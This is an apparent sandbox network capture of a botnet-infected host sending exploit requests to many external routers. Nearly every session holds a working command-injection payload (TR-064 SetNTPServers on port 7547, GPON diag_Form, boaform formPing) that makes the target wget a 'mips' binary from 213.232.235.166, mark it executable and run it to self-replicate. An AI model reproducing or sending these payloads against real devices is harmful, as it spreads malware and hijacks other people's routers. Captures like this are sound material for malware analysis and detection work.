Apr 15, 2024 08:53:38.919092894 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:27 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.13	50074	109.227.23.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.901313066 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.13	35680	203.137.165.156	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.920166016 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:38.184772968 CEST	526	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:38 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 332 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 61 63 6f 2d 65 6e 74 2d 64 65 6d 6f 2e 63 73 31 30 64 30 69 64 63 66 63 6c 6f 75 64 2e 69 6e 74 65 72 6e 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at resaco-ent-demo.cs10d0idcfcloud.internal Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.13	57134	116.203.196.175	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.968750954 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:38.272622108 CEST	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.13	42810	52.174.91.34	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.970614910 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1098	192.168.2.13	60516	23.222.62.177	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.973120928 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:38.284967899 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:38 GMT Date: Mon, 15 Apr 2024 06:53:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 63 33 31 33 30 32 26 23 34 36 3b 31 37 31 33 31 36 34 30 31 38 26 23 34 36 3b 31 31 31 34 35 35 35 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 65 63 33 31 33 30 32 26 23 34 36 3b 31 37 31 33 31 36 34 30 31 38 26 23 34 36 3b 31 31 31 34 35 35 35 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ec31302.1713164018.1114555b<P>https://errors.edgesuite.net/9.ec31302.1713164018.1114555b</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1099	192.168.2.13	52726	92.244.209.152	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.980197906 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1100	192.168.2.13	36206	118.190.246.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.981237888 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:38.294938087 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:38 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1101	192.168.2.13	41458	191.246.12.31	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.985810041 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.216404915 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1102	192.168.2.13	39630	72.191.42.237	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:38.350740910 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1103	192.168.2.13	46180	68.104.54.228	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:38.466070890 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1104	192.168.2.13	47558	197.3.112.32	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:38.511084080 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1105	192.168.2.13	39738	72.191.42.237	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:38.560415983 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1106	192.168.2.13	46234	68.104.54.228	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:38.628035069 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1107	192.168.2.13	47668	197.3.112.32	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:38.872616053 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1108	192.168.2.13	42642	189.18.108.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:39.210818052 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1109	192.168.2.13	54568	181.98.117.161	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:39.212439060 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:39.596405029 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1110	192.168.2.13	49956	77.59.157.72	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:39.214354992 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1111	192.168.2.13	42646	189.18.108.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:39.549699068 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1112	192.168.2.13	49960	77.59.157.72	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:39.560729027 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1113	192.168.2.13	33208	75.167.10.129	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:39.714297056 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1114	192.168.2.13	33210	75.167.10.129	7547

Timestamp	Bytes transferred	Direction	Data
